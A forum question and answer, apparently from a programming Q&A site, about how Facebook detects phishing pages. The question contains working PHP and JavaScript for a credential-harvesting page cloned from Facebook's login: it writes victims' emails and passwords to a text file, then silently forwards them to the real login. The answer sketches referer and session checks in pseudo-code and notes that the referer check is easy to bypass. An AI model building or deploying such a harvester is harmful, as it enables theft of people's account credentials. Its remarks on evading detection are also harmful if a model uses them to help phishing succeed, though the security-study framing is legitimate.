Facebook phishing detection

I'm doing a little assignment on computer security and I'm currently working on phishing.

So for educational purposes I wrote a simplist "phishing webpage" and I'm trying to understand how Facebook detects phishing fraudulent webpages.

My index.html is the facebook main page while I edited it in order to redirect the user to a phishing.php page.

phishing.php:

<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n");
fclose($file);
?>

<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
    foreach ($_POST as $a => $b) {
        echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
    }
?>

</form>
<script language="JavaScript">
    document.frm.submit();
</script>

My question comes here. Everything works well, excepted the fact that once the user (me) enters is username and password, Facebook says:

Security Notice: For your security, never enter your Facebook password on sites not located on Facebook.com

So which mechanism is used by Facebook in order to detect phishing pages like this?

Thanks!

Solution

I can think of many ways that facebook does this

Method one: HTTP Referer
In every HTTP request that you send, a referer is sent along with it to indicate where you came from, facebook can simply do the following

$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if($referer != 'facebook.com') // Phishing

Method two: Sessions
Facebook may start a session on their index.php page that will be checked once submit the login form, for example

index.php
$_SESSION['coming_from_facebook'] = true;

login.php
if($_SESSION['coming_from_facebook'] != true) // Phishing

This is all psuedo-code and the first method is easily bypassable as users can modify referers.